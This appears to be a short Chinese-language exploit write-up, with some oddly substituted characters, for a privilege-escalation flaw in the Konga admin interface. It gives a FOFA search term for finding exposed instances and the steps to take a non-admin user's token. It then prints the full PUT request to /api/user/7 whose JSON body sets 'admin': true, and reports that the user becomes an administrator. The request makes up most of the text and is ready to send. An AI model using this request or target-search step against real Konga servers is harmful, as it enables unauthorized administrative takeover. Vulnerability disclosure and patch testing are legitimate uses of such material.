破绽描绘

Konga 普通用户经过发送特殊的恳求可越权获取管理员权限
 

破绽影响

Konga
 

破绽复现

FOFA

"konga"

登录页面

创立非管理员用户后登录并获取token

发送恳求包, 将token修正为刚刚获取的

PUT /api/user/7 HTTP/1.1

Host: 127.0.0.1:1337

Accept: application/json, text/plain, */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/json;charset=utf-8

Content-Length: 241



{

  "admin": true,

  "passports": {

    "password": "1234abcd",

    "protocol": "local"

  },

  "password_confirmation": "1234abcd",

  "token": "non-administrator user token"

}

胜利转为管理员用户

感谢您的来访，获取更多精彩文章请收藏本站。